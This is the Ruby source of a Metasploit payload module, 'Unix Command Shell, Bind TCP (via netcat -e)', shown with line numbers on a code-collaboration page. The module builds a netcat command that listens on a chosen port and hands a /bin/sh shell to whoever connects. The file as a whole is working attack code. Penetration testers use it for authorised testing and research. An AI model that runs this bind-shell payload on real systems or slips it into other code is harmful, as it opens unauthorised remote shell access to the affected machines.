Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
module MetasploitModule
8

9
  CachedSize = 24
10

11
  include Msf::Payload::Single
12
  include Msf::Sessions::CommandShellOptions
13

14
  def initialize(info = {})
15
    super(merge_info(info,
16
     'Name'          => 'Unix Command Shell, Bind TCP (via netcat -e)',
17
     'Description'   => 'Listen for a connection and spawn a command shell via netcat',
18
     'Author'        => 'hdm',
19
     'License'       => MSF_LICENSE,
20
     'Platform'      => 'unix',
21
     'Arch'          => ARCH_CMD,
22
     'Handler'       => Msf::Handler::BindTcp,
23
     'Session'       => Msf::Sessions::CommandShell,
24
     'PayloadType'   => 'cmd',
25
     'RequiredCmd'   => 'netcat-e',
26
     'Payload'       =>
27
       {
28
         'Offsets' => { },
29
         'Payload' => ''
30
       }
31
    ))
32
    register_advanced_options(
33
      [
34
        OptString.new('NetcatPath', [true, 'The path to the Netcat executable', 'nc']),
35
        OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh'])
36
      ]
37
    )
38
  end
39

40
  #
41
  # Constructs the payload
42
  #
43
  def generate(_opts = {})
44
    vprint_good(command_string)
45
    return super + command_string
46
  end
47

48
  #
49
  # Returns the command string to use for execution
50
  #
51
  def command_string
52
    "#{datastore['NetcatPath']} -l -p #{datastore['LPORT']} -e #{datastore['ShellPath']}"
53
  end
54
end
55

56